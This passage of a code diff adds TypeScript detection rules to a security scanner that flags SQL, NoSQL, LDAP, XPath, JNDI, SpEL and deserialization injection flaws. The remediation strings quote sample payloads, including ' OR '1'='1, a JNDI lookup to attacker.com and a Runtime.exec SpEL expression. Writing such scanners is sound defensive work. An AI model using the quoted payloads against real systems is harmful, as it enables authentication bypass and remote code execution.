+ evidence: toEvidence(templateSqlHits),
401
+ files: toFiles(templateSqlHits),
402
+ requiredActions: [
403
+ "Never interpolate user input into SQL strings. Use parameterized queries or prepared statements exclusively.",
404
+ "CWE-89 / ATT&CK T1190 — SQL injection enables authentication bypass, data exfiltration, and database destruction.",
405
+ "Fix: db.query('SELECT * FROM users WHERE id = $1', [userId]) or use an ORM with parameterized inputs."
406
+ ]
407
+ });
408
+ }
409
+ // SQL keyword + string concatenation with user input
410
+ const concatSqlHits = await codeSearch(String.raw `(?:SELECT|INSERT|UPDATE|DELETE)[^'";\n]*['"]\s*\+\s*(?:req\.|body\.|params\.|query\.|\w+Id\b|\w+Name\b)`);
411
+ if (concatSqlHits.length) {
412
+ findings.push({
413
+ id: "SQL_INJECTION_CONCAT",
414
+ title: "SQL injection — SQL query built via string concatenation with user input (CWE-89)",
415
+ severity: "CRITICAL",
416
+ evidence: toEvidence(concatSqlHits),
417
+ files: toFiles(concatSqlHits),
418
+ requiredActions: [
419
+ "Replace string concatenation in SQL queries with parameterized queries or prepared statements.",
420
+ "CWE-89 / ATT&CK T1190 — ' OR '1'='1 via string concatenation bypasses authentication entirely.",
421
+ "Fix: use db.query('SELECT * FROM users WHERE name = ?', [name]) — never string concatenation."
422
+ ]
423
+ });
424
+ }
425
+ // ORM raw query escape hatches
426
+ // Note: $queryRaw/`...` is a safe Prisma tagged template (parameterized automatically).
427
+ // Only flag the function-call form $queryRaw( which bypasses the tagged-template safety guarantee.
428
+ const ormRawHits = await codeSearch(String.raw `(?:\$queryRaw\s*\(|\$executeRaw\s*\(|sequelize\.query\s*\(|Sequelize\.literal\s*\(|knex\.raw\s*\(|\.query\s*\(\s*[\x60'"][^\x60'"]*\$\{)`);
429
+ if (ormRawHits.length) {
430
+ findings.push({
431
+ id: "ORM_RAW_INJECTION",
432
+ title: "ORM raw query escape hatch — potential SQL injection via Prisma/Sequelize/Knex raw (CWE-89)",
433
+ severity: "CRITICAL",
434
+ evidence: toEvidence(ormRawHits),
435
+ files: toFiles(ormRawHits),
436
+ requiredActions: [
437
+ "Use ORM parameterized APIs: Prisma.sql tagged template, sequelize query with replacements array, knex bindings.",
438
+ "CWE-89 — $queryRaw with template literals or Sequelize.literal() bypass ORM query sanitization.",
439
+ "Fix (Prisma): prisma.$queryRaw`SELECT * FROM User WHERE id = ${userId}` — always use Prisma.sql or tagged template."
440
+ ]
441
+ });
442
+ }
443
+ // TypeORM createQueryBuilder .where() with template literal
444
+ const typeormHits = await codeSearch(String.raw `createQueryBuilder\(\)[^;]*\.where\s*\(\s*[\x60'"][^\x60'"]*\$\{`);
445
+ if (typeormHits.length) {
446
+ const existingOrmFiles = new Set(ormRawHits.map((h) => h.file));
447
+ const newHits = typeormHits.filter((h) => !existingOrmFiles.has(h.file));
448
+ if (newHits.length) {
449
+ findings.push({
450
+ id: "ORM_RAW_INJECTION_TYPEORM",
451
+ title: "TypeORM createQueryBuilder with interpolated .where() clause — SQL injection risk (CWE-89)",
452
+ severity: "CRITICAL",
453
+ evidence: toEvidence(newHits),
454
+ files: toFiles(newHits),
455
+ requiredActions: [
456
+ "Use TypeORM parameterized .where('field = :param', { param: value }) — never template literals in .where().",
457
+ "CWE-89 — template literal interpolation in TypeORM .where() bypasses query parameterization.",
458
+ "Fix: .where('user.id = :id', { id: userId }) instead of .where(`user.id = ${userId}`)."
459
+ ]
460
+ });
461
+ }
462
+ }
463
+ return findings;
464
+ }
465
+ async function checkMongoAggregationInjection() {
466
+ // Search for .aggregate() calls in the same files as dangerous operators
467
+ const aggregateHits = await codeSearch(String.raw `\.aggregate\s*\(\s*\[`);
468
+ const dangerousOpHits = await codeSearch(String.raw `\$where|\$function|\$accumulator`);
469
+ const aggregateFiles = new Set(aggregateHits.map((h) => h.file));
470
+ const dangerousFiles = dangerousOpHits.filter((h) => aggregateFiles.has(h.file));
471
+ // Also check for $expr in aggregate context (inline)
472
+ const exprHits = await codeSearch(String.raw `\.aggregate\s*\(\s*\[[^\]]*\$expr`);
473
+ // Direct $where in .find()
474
+ const findWhereHits = await codeSearch(String.raw `\.find\s*\(\s*\{[^}]*\$where`);
475
+ const allHits = [...dangerousFiles, ...exprHits, ...findWhereHits];
476
+ if (!allHits.length)
477
+ return null;
478
+ return {
479
+ id: "NOSQL_AGGREGATE_INJECTION",
480
+ title: "MongoDB aggregation with $where/$function/$expr/$accumulator — NoSQL injection risk (CWE-943)",
481
+ severity: "CRITICAL",
482
+ evidence: toEvidence(allHits),
483
+ files: toFiles(allHits),
484
+ requiredActions: [
485
+ "Avoid $where, $function, and $accumulator with user-controlled data — these execute JavaScript on the MongoDB server.",
486
+ "CWE-943 / ATT&CK T1190 — $where: 'sleep(5000)' causes DoS; $function can execute arbitrary server-side JS.",
487
+ "Fix: replace $where with MongoDB operators ($eq, $gt, $in, etc.); if $function is required, validate all inputs strictly with Zod."
488
+ ]
489
+ };
490
+ }
491
+ async function checkLdapInjection() {
492
+ const ldapLibHits = await codeSearch(String.raw `require\s*\(\s*['"](?:ldapjs|ldapts|activedirectory)['"]\)`);
493
+ if (!ldapLibHits.length)
494
+ return null;
495
+ const filterHits = await codeSearch(String.raw `(?:\(uid=.*req\.|filter.*\+.*req\.|dn.*\+.*req\.|searchFilter.*\+|filter\s*=\s*[\x60'"][^\x60'"]*\$\{)`);
496
+ if (!filterHits.length)
497
+ return null;
498
+ return {
499
+ id: "LDAP_INJECTION",
500
+ title: "LDAP injection — user input concatenated into LDAP filter string (CWE-90)",
501
+ severity: "HIGH",
502
+ evidence: toEvidence(filterHits),
503
+ files: toFiles(filterHits),
504
+ requiredActions: [
505
+ "Escape all special LDAP characters in user input: ( ) * \\ NUL and slashes before constructing filter strings.",
506
+ "CWE-90 — LDAP injection via (*)(uid=*))(|(uid=* bypasses authentication and dumps directory contents.",
507
+ "Fix: use ldapjs escape: const safe = ldap.searchFilterEscape(userInput); or validate input strictly before use."
508
+ ]
509
+ };
510
+ }
511
+ async function checkXpathInjection() {
512
+ const xpathLibHits = await codeSearch(String.raw `require\s*\(\s*['"]xpath['"]|xpath\.select|xpath\.evaluate|XPathEvaluator`);
513
+ if (!xpathLibHits.length)
514
+ return null;
515
+ const injectionHits = await codeSearch(String.raw `(?:xpath.*\+.*req\.|select\s*\([^)]*req\.|evaluate\s*\([^)]*req\.|xpath\s*=\s*[\x60'"][^\x60'"]*\$\{[^\x60'"]*(?:req|body|params|query))`);
516
+ if (!injectionHits.length)
517
+ return null;
518
+ return {
519
+ id: "XPATH_INJECTION",
520
+ title: "XPath injection — user input concatenated into XPath expression (CWE-643)",
521
+ severity: "HIGH",
522
+ evidence: toEvidence(injectionHits),
523
+ files: toFiles(injectionHits),
524
+ requiredActions: [
525
+ "Use parameterized XPath queries or escape all XPath special characters from user input.",
526
+ "CWE-643 — XPath injection via ' or '1'='1 bypasses authentication and exposes the full XML document.",
527
+ "Fix: use a parameterized XPath library or strictly validate/allowlist all user values used in XPath expressions."
528
+ ]
529
+ };
530
+ }
531
+ async function checkJndiInjection() {
532
+ const findings = [];
533
+ // Direct JNDI lookup strings in code — CRITICAL
534
+ const jndiLiteralHits = await codeSearch(String.raw `\$\{jndi:`);
535
+ if (jndiLiteralHits.length) {
536
+ findings.push({
537
+ id: "LOG4SHELL_JNDI_LITERAL",
538
+ title: "JNDI lookup string found in codebase — Log4Shell/JNDI injection (CVE-2021-44228)",
539
+ severity: "CRITICAL",
540
+ evidence: toEvidence(jndiLiteralHits),
541
+ files: toFiles(jndiLiteralHits),
542
+ requiredActions: [
543
+ "Remove any ${jndi: strings from code immediately — these indicate either a test payload or live attack vector.",
544
+ "CVE-2021-44228 (Log4Shell) — JNDI lookup strings in log data trigger remote class loading and RCE.",
545
+ "Fix: update all logging frameworks; add JNDI sanitization filter to strip ${jndi: patterns from all user input."
546
+ ]
547
+ });
548
+ }
549
+ // User input flowing into log calls without JNDI sanitization
550
+ const logUserInputHits = await codeSearch(String.raw `(?:logger\.\w+|console\.log)\s*\(\s*[\x60][^\x60]*\$\{(?:req|body|params|query)\.[^\x60]*[\x60]`);
551
+ const unsafeLogHits = logUserInputHits.filter((h) => !/jndi|sanitize|replace.*jndi|stripJndi|filterJndi/.test(h.preview));
552
+ if (unsafeLogHits.length) {
553
+ findings.push({
554
+ id: "LOG_JNDI_INJECTION_RISK",
555
+ title: "User input interpolated into log statement — JNDI injection risk if using Java logging or proxied to Log4j (CWE-117)",
556
+ severity: "HIGH",
557
+ evidence: toEvidence(unsafeLogHits),
558
+ files: toFiles(unsafeLogHits),
559
+ requiredActions: [
560
+ "Sanitize user input before logging — strip or encode ${jndi: patterns to prevent Log4Shell-style injection.",
561
+ "CWE-117 / CVE-2021-44228 — user-controlled ${jndi:ldap://attacker.com/x} in logs triggers JNDI lookup and RCE.",
562
+ String.raw `Fix: const safe = input.replace(/\$\{jndi:/gi, '[blocked:'); logger.info('Request: ' + safe);`
563
+ ]
564
+ });
565
+ }
566
+ return findings;
567
+ }
568
+ async function checkRedisEvalInjection() {
569
+ // First check if any eval-like Redis calls exist at all
570
+ const evalHits = await codeSearch(String.raw `(?:\.eval\s*\(|EVAL\s+|evalsha\s*\(|EVALSHA\s*\()`);
571
+ if (!evalHits.length)
572
+ return null;
573
+ // Narrow to cases where user input appears in the eval call
574
+ const userInputHits = await codeSearch(String.raw `\.eval\s*\([^)]*(?:req\.|body\.|params\.|query\.)`);
575
+ if (!userInputHits.length)
576
+ return null;
577
+ return {
578
+ id: "REDIS_EVAL_INJECTION",
579
+ title: "Redis EVAL with user-controlled input — server-side Lua injection risk (CWE-95)",
580
+ severity: "HIGH",
581
+ evidence: toEvidence(userInputHits),
582
+ files: toFiles(userInputHits),
583
+ requiredActions: [
584
+ "Never pass user-controlled values as part of Redis EVAL Lua scripts — only pass them as KEYS or ARGV arguments.",
585
+ "CWE-95 — Redis EVAL executes Lua on the Redis server; injection can exfiltrate data or corrupt the dataset.",
586
+ "Fix: client.eval(STATIC_LUA_SCRIPT, numkeys, ...keys, ...argv) where argv contains user values, not the script itself."
587
+ ]
588
+ };
589
+ }
590
+ async function checkSecondOrderInjection() {
591
+ // Two-pass file-correlation: avoids multiline regex that would trigger ReDoS
592
+ // detector and can never match in line-by-line search mode.
593
+ const dbHits = await codeSearch(String.raw `(?:findOne|findById|findAll|findMany|getUser|getRecord)\s*\(`);
594
+ if (!dbHits.length)
595
+ return null;
596
+ const dbFiles = new Set(dbHits.map((h) => h.file));
597
+ const sinkHits = await codeSearch(String.raw `(?:SELECT|INSERT|UPDATE|DELETE)\s*['"` + "`" + String.raw `]|exec\s*\(userInput|compile\s*\(userInput|render\s*\(userInput`);
598
+ const hits = sinkHits.filter((h) => dbFiles.has(h.file));
599
+ if (!hits.length)
600
+ return null;
601
+ return {
602
+ id: "SECOND_ORDER_INJECTION",
603
+ title: "Data retrieved from DB/store passed directly to SQL/template/shell sink without re-validation — second-order injection",
604
+ severity: "CRITICAL",
605
+ evidence: toEvidence(hits),
606
+ files: toFiles(hits),
607
+ requiredActions: [
608
+ "Treat data read from a database as untrusted — re-validate before passing to SQL, template, or shell sinks.",
609
+ "CWE-89 / CWE-94 / CWE-78 — second-order injection exploits stored user-controlled data after it bypasses first-pass input validation.",
610
+ "Fix: always sanitize or parameterize values returned from the DB before using them in downstream sinks."
611
+ ]
612
+ };
613
+ }
614
+ async function checkSstiJavaPhp() {
615
+ const hits = await codeSearch(String.raw `(?:freemarker\.template|VelocityEngine|Template\.getInstance|cfg\.getTemplate|\$twig->render|\$smarty->display|mako\.template\.Template)\s*\([^)]*(?:request|req\.|userInput|getParam)`);
616
+ if (!hits.length)
617
+ return null;
618
+ return {
619
+ id: "SSTI_JAVA_PHP_ENGINES",
620
+ title: "Java/PHP template engine (Freemarker/Velocity/Twig/Smarty) compiles user input — SSTI RCE",
621
+ severity: "CRITICAL",
622
+ evidence: toEvidence(hits),
623
+ files: toFiles(hits),
624
+ requiredActions: [
625
+ "Never pass user input as the template source to Freemarker, Velocity, Twig, Smarty, or Mako.",
626
+ "CWE-94 / ATT&CK T1059 — SSTI in Java template engines enables RCE via expression evaluation (e.g. ${7*7} → arbitrary method calls).",
627
+ "Fix: load templates from the filesystem at startup; pass user data only as context variables, never as template source."
628
+ ]
629
+ };
630
+ }
631
+ async function checkSpelOgnlInjection() {
632
+ const hits = await codeSearch(String.raw `(?:SpelExpressionParser|parseExpression|ExpressionParser|OgnlContext|Ognl\.getValue|Ognl\.parseExpression|MVEL\.eval)\s*\([^)]*(?:request\.getParameter|userInput|req\.)`);
633
+ if (!hits.length)
634
+ return null;
635
+ return {
636
+ id: "SPEL_OGNL_INJECTION",
637
+ title: "Spring SpEL/OGNL/MVEL expression parser evaluates user input — RCE via T(java.lang.Runtime)",
638
+ severity: "CRITICAL",
639
+ evidence: toEvidence(hits),
640
+ files: toFiles(hits),
641
+ requiredActions: [
642
+ "Never pass user-controlled input directly to SpEL, OGNL, or MVEL expression parsers.",
643
+ "CWE-94 / ATT&CK T1059 — T(java.lang.Runtime).getRuntime().exec('id') achieves RCE via SpEL expression evaluation.",
644
+ "Fix: use a SimpleEvaluationContext with a restricted type locator, or validate input against a strict allowlist before evaluation."
645
+ ]
646
+ };
647
+ }
648
+ async function checkPickleDeserialize() {
649
+ const hits = await codeSearch(String.raw `(?:pickle\.loads?\s*\(|cPickle\.loads?\s*\(|Marshal\.load\s*\(|joblib\.load\s*\(|torch\.load\s*\(|numpy\.load\s*\([^)]*allow_pickle\s*=\s*True)`);
650
+ if (!hits.length)
651
+ return null;
652
+ return {
653
+ id: "PICKLE_MARSHAL_DESERIALIZATION",
654
+ title: "Python pickle.loads/Marshal.load deserializes user data — RCE gadget chain risk (CWE-502)",
655
+ severity: "CRITICAL",
656
+ evidence: toEvidence(hits),
657
+ files: toFiles(hits),
658
+ requiredActions: [
659
+ "Never deserialize pickle, Marshal, or joblib data from untrusted sources — there is no safe way to sandbox pickle.loads.",
660
+ "CWE-502 / ATT&CK T1059 — a crafted pickle payload executes arbitrary Python via __reduce__ during deserialization.",
661
+ "Fix: use JSON or MessagePack with a strict schema; for ML models use ONNX or safetensors instead of torch.load/joblib.load."
662
+ ]
663
+ };
664
+ }
665
+ async function checkJavaDeserialize() {
666
+ const hits = await codeSearch(String.raw `(?:new\s+ObjectInputStream\s*\(|readObject\s*\(\s*\)|readUnshared\s*\(\s*\)|XMLDecoder\s*\(|XStream\.fromXML\s*\(|Kryo\.readObject)`);
667
+ if (!hits.length)
668
+ return null;
669
+ return {
670
+ id: "JAVA_OBJECT_DESERIALIZATION",
671
+ title: "Java ObjectInputStream.readObject/XStream/Kryo deserializes untrusted data — gadget chain RCE (CWE-502)",
672
+ severity: "CRITICAL",
673
+ evidence: toEvidence(hits),
674
+ files: toFiles(hits),
675
+ requiredActions: [
676
+ "Avoid Java native deserialization from untrusted sources; use serialization filters (JEP 290) if unavoidable.",
677
+ "CWE-502 / ATT&CK T1059 — Apache Commons Collections gadget chains achieve RCE via ObjectInputStream.readObject().",
678
+ "Fix: replace with JSON/Protobuf; if ObjectInputStream is required, implement a strict allowlisting ObjectInputFilter."
679
+ ]
680
+ };
681
+ }
682
+ async function checkCssInjection() {
683
+ const hits = await codeSearch(String.raw `(?:style\s*=\s*\{\{[^}]*(?:req\.|params\.|query\.)|createGlobalStyle` + "`" + String.raw `[^` + "`" + String.raw `]*\$\{(?:req|params|query)|css` + "`" + String.raw `[^` + "`" + String.raw `]*\$\{(?:req|params|query))`);
684
+ if (!hits.length)
685
+ return null;
686
+ return {
687
+ id: "CSS_INJECTION",
688
+ title: "User input in CSS-in-JS or style attribute — CSS injection enabling data exfiltration (CWE-79)",
689
+ severity: "HIGH",
690
+ evidence: toEvidence(hits),
691
+ files: toFiles(hits),
692
+ requiredActions: [
693
+ "Never interpolate user input directly into CSS-in-JS template literals or inline style attributes.",
694
+ "CWE-79 — CSS injection via expression() or url() can exfiltrate sensitive data to attacker-controlled servers.",
695
+ "Fix: validate CSS property values against a strict allowlist; never accept raw CSS strings from users."
696
+ ]
697
+ };
698
+ }
699
+ async function checkElasticsearchInjection() {
700
+ const hits = await codeSearch(String.raw `(?:client\.search\s*\(|esClient\.search\s*\()[^)]*(?:req\.|body\.|params\.|query\.)|(?:query_string|script\.source)\s*:\s*(?:req\.|body\.|params\.|query\.)`);
701
+ if (!hits.length)
702
+ return null;
703
+ return {
704
+ id: "ELASTICSEARCH_INJECTION",
705
+ title: "Elasticsearch query_string or script.source uses user input — Painless script injection (CWE-943)",
706
+ severity: "HIGH",
707
+ evidence: toEvidence(hits),
708
+ files: toFiles(hits),
709
+ requiredActions: [
710
+ "Never pass user input directly to Elasticsearch query_string or script.source — use match/term queries with explicit field mapping.",
711
+ "CWE-943 — Elasticsearch Painless script injection via script.source can read cluster data or cause DoS.",
712
+ "Fix: use structured queries (match, term, range) with user input as values, never as query syntax; disable dynamic scripting."
713
+ ]
714
+ };
715
+ }
716
+ async function checkWebSocketInjection() {
717
+ const hits = await codeSearch(String.raw `(?:ws\.on\s*\(\s*['"]message['"]|socket\.on\s*\(\s*['"]message['"])[\s\S]{0,300}(?:eval\s*\(|exec\s*\(|compile\s*\(|\.find\s*\(|\.query\s*\(|render\s*\()`);
718
+ if (!hits.length)
719
+ return null;
720
+ return {
721
+ id: "WEBSOCKET_MESSAGE_INJECTION",
722
+ title: "WebSocket message data passed to injection sinks without validation (CWE-20)",
723
+ severity: "HIGH",
724
+ evidence: toEvidence(hits),
725
+ files: toFiles(hits),
726
+ requiredActions: [
727
+ "Validate and sanitize all WebSocket message payloads before passing to eval, exec, DB query, or template sinks.",
728
+ "CWE-20 — WebSocket messages bypass HTTP-layer input validation; treat them as untrusted user input.",
729
+ "Fix: parse WebSocket messages with a strict Zod schema; never pass raw message data to eval(), exec(), or query functions."
730
+ ]
731
+ };
732
+ }
733
+ async function checkBracketNotationPollution() {
734
+ const hits = await codeSearch(String.raw `\w+\s*\[\s*(?:req\.|body\.|params\.|query\.|key\b|prop\b|field\b)[^\]]*\]\s*=`);
735
+ const unsafe = hits.filter((h) => !/allowlist|allowedKeys|ALLOWED_KEYS|Object\.create\(null\)/.test(h.preview));
736
+ if (!unsafe.length)
737
+ return null;
738
+ return {
739
+ id: "BRACKET_NOTATION_POLLUTION",
740
+ title: "Dynamic property assignment with user-controlled key — prototype pollution via bracket notation (CWE-1321)",
741
+ severity: "HIGH",
742
+ evidence: toEvidence(unsafe),
743
+ files: toFiles(unsafe),
744
+ requiredActions: [
745
+ "Validate property keys against an explicit allowlist before dynamic assignment; use Object.create(null) for key-value stores.",
746
+ "CWE-1321 — obj[req.body.key] = value with key='__proto__' or 'constructor' pollutes the prototype chain.",
747
+ "Fix: const ALLOWED = new Set(['name','email']); if (!ALLOWED.has(key)) throw new Error('Invalid key');"
748
+ ]
749
+ };
750
+ }
751
+ async function checkSseCrlfInjection() {
752
+ const hits = await codeSearch(String.raw `(?:res\.write\s*\(\s*[` + "`" + String.raw `'"]data:\s*\$\{|res\.write\s*\([^)]*(?:req\.|body\.|params\.|query\.)[^)]*(?:\\n|\\r))`);
753
+ if (!hits.length)
754
+ return null;
755
+ return {
756
+ id: "SSE_CRLF_INJECTION",
757
+ title: "SSE stream write with user input — CRLF injection into event stream (CWE-113)",
758
+ severity: "HIGH",
759
+ evidence: toEvidence(hits),
760
+ files: toFiles(hits),
761
+ requiredActions: [
762
+ "Strip or encode CRLF characters from user input before writing to SSE streams.",
763
+ "CWE-113 — CRLF injection into SSE data: fields can inject fake events or terminate the event stream.",
764
+ String.raw `Fix: const safe = userValue.replace(/[\r\n]/g, ' '); res.write('data: ' + safe + '\n\n');`
765
+ ]
766
+ };
767
+ }
768
+ async function checkPdfDocInjection() {
769
+ const hits = await codeSearch(String.raw `(?:pdfmake\.createPdf|new\s+jsPDF|puppeteer\.goto|page\.goto|wkhtmltopdf|docxtemplater|new\s+PizZip)\s*\([^)]*(?:req\.|body\.|params\.|query\.|user\.)`);
770
+ if (!hits.length)
771
+ return null;
772
+ return {
773
+ id: "PDF_DOCUMENT_INJECTION",
774
+ title: "PDF/Office generation library uses user input — formula injection or SSRF via file:// URL (CWE-74)",
775
+ severity: "HIGH",
776
+ evidence: toEvidence(hits),
777
+ files: toFiles(hits),
778
+ requiredActions: [
779
+ "Sanitize user input before passing to PDF/Office generation libraries — strip formula-triggering characters (=, +, -, @) and validate URLs.",
780
+ "CWE-74 — formula injection in generated spreadsheets can execute commands when opened; file:// URLs in headless browsers cause SSRF.",
781
+ "Fix: prefix cell values starting with =,+,-,@ with a single quote; validate puppeteer URLs against an allowlist blocking file://, localhost."
782
+ ]
783
+ };
784
+ }
785
+ async function checkHttpResponseSplitting() {
786
+ const hits = await codeSearch(String.raw `(?:writeHead\s*\(\s*\d+\s*,\s*(?:req\.|body\.|params\.)|headers\.set\s*\([^,]+,\s*(?:req\.|body\.|params\.))`);
787
+ const unsafe = hits.filter((h) => !/replace.*\\r|replace.*\\n|encodeURIComponent/.test(h.preview));
788
+ if (!unsafe.length)
789
+ return null;
790
+ return {
791
+ id: "HTTP_RESPONSE_SPLITTING",
792
+ title: "HTTP response splitting via writeHead or headers.set with user input (CWE-113)",
793
+ severity: "HIGH",
794
+ evidence: toEvidence(unsafe),
795
+ files: toFiles(unsafe),
796
+ requiredActions: [
797
+ "Strip CRLF characters from all user-controlled values before passing to writeHead or headers.set.",
798
+ "CWE-113 — HTTP response splitting via CRLF injection enables cache poisoning, XSS, and session fixation.",
799
+ String.raw `Fix: const safe = value.replace(/[\r\n]/g, ''); res.writeHead(200, { 'X-Header': safe });`
800
+ ]
801
+ };
802
+ }
803
+ // ─────────────────────────────────────────────────────────────────────────────
804
+ export async function checkInjectionDeep(_opts) {
805
+ try {
806
+ const results = await Promise.all([
807
+ checkXxe(),
808
+ checkSsti(),
809
+ checkPrototypePollution(),
810
+ checkOpenRedirect(),
811
+ checkNosqlInjection(),
812
+ checkCrlfInjection(),
813
+ checkYamlUnsafeLoad(),
814
+ checkUnsafeDeserialize(),
815
+ checkPathTraversal(),
816
+ checkLogInjection(),
817
+ checkSsrfUserUrl(),
818
+ checkCommandInjection(),
819
+ checkRedos(),
820
+ checkJsonpCallbackInjection(),
821
+ checkEvalEncodedPayload(),
822
+ // New checks
823
+ checkSqlInjection(),
824
+ checkMongoAggregationInjection(),
825
+ checkLdapInjection(),
826
+ checkXpathInjection(),
827
+ checkJndiInjection(),
828
+ checkRedisEvalInjection(),
829
+ checkSecondOrderInjection(),
830
+ checkSstiJavaPhp(),
831
+ checkSpelOgnlInjection(),
832
+ checkPickleDeserialize(),
833
+ checkJavaDeserialize(),
834
+ checkCssInjection(),
835
+ checkElasticsearchInjection(),
836
+ checkWebSocketInjection(),
837
+ checkBracketNotationPollution(),
838
+ checkSseCrlfInjection(),
839
+ checkPdfDocInjection(),
840
+ checkHttpResponseSplitting(),
841
+ ]);
842
+ return results.flat().filter((f) => f !== null);
843
+ }
844
+ catch (err) {
845
+ console.warn("[checkInjectionDeep] Internal error:", sanitizeErrorMessage(err instanceof Error ? err.message : String(err)));
846
+ return [];
847
+ }
848
+ }